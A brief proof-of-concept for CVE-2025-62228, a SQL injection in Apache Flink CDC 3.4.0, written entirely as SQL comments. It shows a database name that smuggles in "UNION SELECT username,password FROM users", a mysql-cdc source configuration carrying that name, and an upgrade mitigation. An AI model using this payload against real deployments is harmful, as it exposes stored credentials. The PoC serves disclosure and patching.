CVE-2025-62228

-- PoC for CVE-2025-62228: Apache Flink CDC SQL Injection -- This PoC demonstrates how a maliciously crafted database/table name -- can be used to perform SQL injection in Apache Flink CDC 3.4.0 -- Step 1: Create a malicious database name with SQL injection payload -- The crafted database name embeds a malicious SQL statement -- Example malicious database name: mydb' UNION SELECT username,password FROM users-- -- Step 2: Configure Flink CDC data source with the crafted identifier -- In Flink CDC source configuration, set the database name to the malicious value: -- CREATE TABLE malicious_source ( -- id STRING, -- data STRING -- ) WITH ( -- 'connector' = 'mysql-cdc', -- 'hostname' = 'localhost', -- 'port' = '3306', -- 'username' = 'flink_user', -- 'password' = 'password', -- 'database-name' = "mydb' UNION SELECT username,password FROM users--", -- 'table-name' = 'sensitive_table' -- ); -- Step 3: When Flink CDC attempts to query metadata for this database, -- the injected SQL will be executed, potentially exposing sensitive data -- Mitigation: Upgrade to Apache Flink CDC 3.5.0 or later -- The fix implements proper identifier validation and parameterized queries

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